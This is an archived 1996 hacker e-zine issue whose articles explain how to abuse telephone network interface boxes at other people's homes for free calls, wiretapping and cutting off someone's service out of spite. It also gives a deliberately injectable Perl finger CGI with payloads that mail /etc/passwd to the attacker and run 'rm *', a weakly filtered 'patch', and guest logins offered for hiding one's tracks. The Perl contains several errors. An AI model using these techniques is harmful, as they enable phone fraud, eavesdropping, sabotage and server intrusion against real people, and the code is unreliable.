home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / thtj / thtj4.txt < prev    next >
Encoding:
Text File  |  2002-05-27  |  10.5 KB  |  281 lines
  1. ╒══════════════════════════════════════════════════════════════════╕
  2. │The HAVOC Technical Journal                                       │▒
  3. └──────────────────────────────────────────────────────────────────┘▒
  4.  ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  5.  
  6. Vol. 1 | No.4 | October 1st, 1996 | A HAVOC Bell Systems Publication
  7.        "Protected by the First Amendment"
  8. _____________________________________________________________________________
  9. Inside this issue:
  10.  
  11.         Whats new this issue..............................A
  12.         Editorial......................................... l
  13.         The Network Identification Device Pt. 1...........  l
  14.         Writting Inscure CGI Progs........................
  15.         The End of penet.fi...............................   b
  16.         ROLL CALL & more!.................................    y
  17.         Next Month........................................      Scud-O
  18.  
  19.        (I need more writers!!! e-mail me if ya want to write an article!
  20.         my e-mail is: FoxMulder@worldnet.att.net (yes its back up..)
  21.         the mags e-mail is: thtj@juno.com (wheee.. we get to read ads as
  22.         we get your e-mail!) )
  23.  
  24.         This months music supplied by: Sublime, The Future Sound of London
  25.         and Zion Train and Violent Femmes. Oh yea.. and WHFS 99.1 !
  26.  
  27. What's new in this issue:
  28.  
  29.         Well if you weren't so cheap you would see our nice new format! but
  30.         the online version has none of that neatness.. My new school has a
  31.         lab with a scanner so the print version should get some nice pics
  32.         soon...
  33.         Also Scud-O is now on IRC often.. Im on #phreak and #hacker often on
  34.         undernet.. to c'mon in and join us for a chat...
  35.         If ya want a print version and some extra goodies... e-mail me!
  36.  
  37.        -----------------------------------------------------------
  38.        How to contact us:
  39.         Check Out Our Web Site:
  40.          www.geocities.com/SiliconValley/8805/
  41.          my (Scud-O)  e-mail is : FoxMulder@worldnet.att.net
  42.          our Mag e-mail is : thtj@juno.com
  43.          HELLCORE's e-mail is : hellcore@juno.com
  44.       ---------------------------------------------------------------
  45.  
  46. Editorial:
  47.         by Scud-O
  48.  
  49. Well another month another issue.. but hey if ya had the print version you
  50. would see our nice new format.. its kind of slick... were still messing
  51. around so it can only get better...Welp on to bigger and other things...
  52. lately i've been hit with ALOT of lamers.. (I gots ops on #hacker, thats why)
  53. (sometimes on #phreak as well...) well anyway.. EVERY lamer on #hacker was
  54. like 'teach me' so i relpied 'on what?' they came back with 'everything' so
  55. i said 'get some manuals and RTFM' and they all replied 'what?' .. people
  56. this is PATHETIC!! We need to protect ourselves from these newbies! any
  57. suggestions? e-me: FoxMulder@worldnet.att.net
  58.  
  59. The Network Identification Device (NID) Pt.1
  60.         by Scud-O
  61.  
  62. These days it seems that NIDs have been left unabused when they are a great
  63. device to mess with. Why you ask? Well, there are many things you can to with
  64. them. But first where can you find them? well every house has one! My house
  65. has an old one, but most new ones I see are the size of a sunglass case
  66. which have a 7/16 inch socket screw in them. There are also some bigger ones
  67. ( usually in houseing complexes) that have a user opening and a telco opening.
  68.  
  69. A little history:
  70.         The NID was created to for test purposes. The NID is the main
  71. connection from Bell to the houses lines. You can test this NID to see if
  72. Bells lines are fucked or if your lines are fucked. If you live in
  73. Bell Atlantic area, their White Pages have some info on NIDS.
  74.  
  75. Back to the article:
  76.         The NID can be used for many purposes:
  77. 1. Free phone calls: Inside the NID there is a jack and a plug. If you unplug
  78. the jack and stick a phone in the plug you can then make calls free of
  79. charge, but the lines restrictions still apply (900 block, call waiting, etc)
  80. To find the line number just use your trusty ANI. And since the jack in the
  81. NID is out, the customer can't interupt you and make a call. Or you can find
  82. a 2 jack to one converter (they sell em in Radio Shack.. its so you can put
  83. more than one phone in a jack) and plug it all together so they can still
  84. make calls.
  85. 2. Phone tap: This is just a modification of the 2 to 1 jack converter, just
  86. wait for a call.. you cant leave the phone off the hook.. well because it
  87. will go off the hook... (hmm... maybe next month I'll find out how to be able
  88. to listen 24 hours a day...)
  89. 3. Disconnect customer: did some one piss you off? we just open their NID and
  90. unplug the jack and leave... no service... it will take a few days to get
  91. service and they are just totally fucked then... hehehehehehe...
  92.  
  93. Next Month: read as I steal a NID and slice and dice it!! also: more fun
  94. tricks!
  95.  
  96. Writting Insecure CGI Progs:
  97.         by Scud-O
  98.  
  99. CGI programs really are wonderful.. you can easily give them information
  100. that we shouldn't have!
  101.  
  102. What follows is a simple CGI prog that you can install to get the servers
  103. password file! The program is actually a finger gateway.. but who cares..
  104. next month or maybe this month I'll print the secure source code to show a
  105. webmaster or sysadmin...
  106.  
  107. Here's the HTML code:
  108.         <FORM ACTION="/cgi-bin/finger.pl" METHOD="POST">
  109.         <INPUT TYPE="text" NAME="user" SIZE=40>
  110.         <INPUT TYPE="submit" VALUE="Get Information">
  111.         </FORM>
  112.  
  113. Here's the actual CGI Perl Prog:
  114.  
  115.         #!/usr/local/bin/perl
  116.         &parse_form_data(*simple);
  117.         $user = $simple{'user'};
  118.         print "Content-type: text/plain", "\n\n";
  119.         print "Here are the results of your query: "\n";
  120.         print '/usr/local/bin/finger $user';
  121.         print "\n";
  122.         exit (0);
  123.  
  124. the parse_form_data sub:
  125.  
  126.         (NOTE: ya need this to trasnlater the info for both progs.. other
  127.         wise ya fucked! )
  128.  
  129.         sub parse_form_data
  130.         {
  131.                 local(*FORM_DATA) = @_;
  132.                 local( $request_method, $query_string, @key_value_pairs,
  133.                         $key_value, $key, $value);
  134.                 $request_method = $ENV('REQUEST_METHOD');
  135.  
  136.                 if ($request_method eg "GET") {
  137.                         $query_string = $ENV{'QUERY_STRING'};
  138.                } elsif ($request_method eg "POST") {
  139.                         $query_string = $ENV{'CONTENT_LENGTH'};
  140.                } else {
  141.                         &return_error (500, "Server Error',
  142.                                             "Server uses unsupported method");
  143.                }
  144.  
  145.               @key_value_pairs = split (/&/, $query_string);
  146.  
  147.               foreach $key_value (@key_value_pairs) {
  148.                 ($key, $value) = split (/=/, $key_value);
  149.                 $value =~ tr/+/ /;
  150.                 $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
  151.                 if (defined($FORM_DATA{$key})) {
  152.                         $FORM_DATA{$key} = join("\0", $FORM_DATA{$key}, $value);
  153.                 } else {
  154.                         $FORM_DATA{$key} = $value;
  155.                }
  156.         }
  157.  
  158.  the return_error sub:
  159.         (NOTE: ya need this for the parse sub, and the patched version! )
  160.  
  161.         sub return_error
  162.         {
  163.                 local($status, $keyword, $message) =@_;
  164.                 print "Content-type: text/html", "\n";
  165.                 print "Status: ", $status, " ", $keyword, "\n\n";
  166.                 print << End_of_Error;
  167.         <title>Unexpected Error!</title>
  168.         <h1>$keyword</h1>
  169.         <hr>$message</hr>
  170.         Please contact $webmater for more information.
  171.  
  172.         End_of_Error
  173.  
  174.         exit(1);
  175.         }
  176.  
  177. So thats it! below is the patched source:
  178.  
  179.         #!/usr/local/bin/perl
  180.         &parse_form_data(*simple);
  181.         $user = $simple{'user'};
  182.         if($user =~ /[;><&\*'\|]) {
  183.                 &return_error(500, "CGI Finger Alert", "What are you trying
  184. to do?");
  185.         } else {
  186.                 print "Content-type: text/plain", "\n\n";
  187.                 print "Here are the results of your query: "\n";
  188.                 print '/usr/local/bin/finger $user';
  189.                 print "\n";
  190.         }
  191.  
  192. exit (0);
  193.  
  194.  
  195.  
  196. So what you aske.. we the first one if you type:
  197.  ; mail -s "passwords!"  you@yourdomain.com < /etc/passwd
  198.  then you get yourslef a copy of the server's password lists being mailed to
  199.  you!
  200.  or try:
  201.         ; rm *
  202. and delete their directory of files!
  203.  
  204.  
  205. The End of penet.fi :
  206.         by Scud-O
  207. Well the pressure was finally too much, as penet.fi will no longer give out
  208. anonymous e-mail. But the people that already have addresses can still send
  209. stuff. But newsgroup post aren't allowed anymore... but you can still get
  210. anon news posts. So what will happen? well I think hacking penet emails will
  211. be fun for a while, but we will all start getting Juno accounts.. the're free
  212.  you can forge them,  and they are dissposible, but you have to read e-mail,
  213.  click thru a list of hobbies, etc, and  more and then your e-mails get adds
  214.  in them... oh well though...
  215.  
  216. ROLL CALL & More!
  217.  
  218. Who is HAVOC?
  219.         Scud-O : Pope boy
  220.         Psycho : Fag Vice Pope
  221.         Pinky  : In hidding
  222.         Rotten : Moving fool
  223.         Sid    : Other Moving Fool  (and the're twins as well! )
  224.  
  225.         Want to join? next month we got a sign up sheet!
  226. Cool People:
  227.         |\|\cFill
  228.         theLURK7R (sometimes theLURK3R )
  229.         JKMG-Boba ( aka Boba)
  230.         Alef
  231.               all on IRC!
  232.  
  233. This Month Question: We ask why has |)eadLoss\Mulder changed his name?
  234.         Well.. some knew me as |)eadLoss ,  some as Mulder, so I
  235.         combined the 2.. but people we ever more confused, so I said fuck em!
  236.         and I changed it to Scud-O .. Scud-O is a cool guy..
  237.  
  238.   Next Month's Question: Who is Scud-O ?
  239.  
  240.  
  241. Next Month:
  242.         This MANY be what we will have in issue 5
  243.         We have more on the NID
  244.         Virus Theory Pt.2
  245.         More Virus Stuff
  246.         RTFM: The lamer Journal
  247.         Whats up in the HELLCORE Labs?
  248.         Pager Talk
  249.         AND MUCH MORE TBA !
  250.  
  251.                 Issue 5 is out Oct. 31st!
  252.  
  253.  cya ya next issue! -Scud-O
  254.  
  255.  
  256. Wait! we have a bonus:
  257.         Some shell accounts to use to cover your ass:
  258.  
  259. Freenet accounts:            login
  260.  
  261. freenet.buffalo.edu             guest
  262. freenet.hsc.colorado.edu        guest
  263. heartland.bradley.edu            bbguest
  264. freenet.lorain.oberlin.edu        guest
  265. freenet.victoria.bc.ca            guest
  266. cbos.uc.edu                visitor
  267. yfn.ysu.edu                visitor
  268. freenet-in-a.cwru.edu            fnguest
  269.        b
  270.        c
  271.  
  272. ------------------------
  273. Okay that is all!
  274.  
  275. ============================================================
  276. = IS this copy of The HAVOC Technical Journal Skunked?
  277. = If this file reads larger than 11078 bytes than this issue
  278. = has been messed with! get a fresh copy from our site:
  279. = www.geocities.com/SiliconValley/8805/
  280. ============================================================
  281.